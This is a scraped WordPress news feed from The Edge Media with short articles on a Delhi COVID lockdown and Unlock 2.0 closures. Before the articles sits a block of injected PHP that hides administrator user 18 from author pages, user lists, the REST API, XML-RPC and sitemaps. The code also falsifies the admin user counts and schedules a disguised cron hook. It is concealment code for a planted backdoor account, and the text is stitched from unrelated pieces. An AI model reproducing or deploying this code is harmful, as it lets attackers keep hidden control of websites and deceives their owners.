add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Lockdown in Delhi,know the restriction appeared first on The Edge Media.
]]>In such a situation, to break the chain of infection, the government has decided to impose a lockdown of two days.
Malls, gyms, spas, auditoriums, markets and private offices in Delhi will remain closed during the lockdown.
The cinema hall has allowed to be kept open but the maximum capacity of the audience has kept at 30 percent only.
The restaurant will not allowed to sit and eat at other food outlets, and food can only made home delivery.
One can take a pass to a hospital, airport, bus or railway station.
It will also be mandatory to take an e-pass to go to the wedding during the curfew.
A weekly market will be opened in every municipal zone so that people do not have problems.
Transportation will also continue along with the supply and production of all essential goods. Also, necessary government offices will also be open.
All judicial officers will also allowed to visit ID card. Similarly, medical people will also allowed to visit the ID card.

There will be no restriction on vehicles going to other states. Also, there will be no restriction on movement of people taking the vaccine.
During the last 24 hours, 17282 new patients of Corona have been found in the capital Delhi. At the same time, 104 patients have died. The government has created 7598 Containment Zones in Delhi.
Corona’s positive rate in Delhi is 15.92 percent. CM Kejriwal has told that 5000 beds are still empty in Delhi. Talking about the whole country, more than 2 lakh new patients have been found in the last 24 hours.
At the same time, the total number of corona patients in India has increased to 1.4 crore.
The post Lockdown in Delhi,know the restriction appeared first on The Edge Media.
]]>The post Unlock 2.0: Schools, malls to remain shut till July 31 appeared first on The Edge Media.
]]>
As per the guidelines, schools, colleges will remain closed till July 31. Online/distance learning will be permitted and shall be encouraged.
The advisory says that the lockdown shall continue to remain in force in containment zones till July 31.
In containment zones, only essential activities to be allowed.
Night curfew timings have been relaxed from 10 pm to 5 am.
The post Unlock 2.0: Schools, malls to remain shut till July 31 appeared first on The Edge Media.
]]>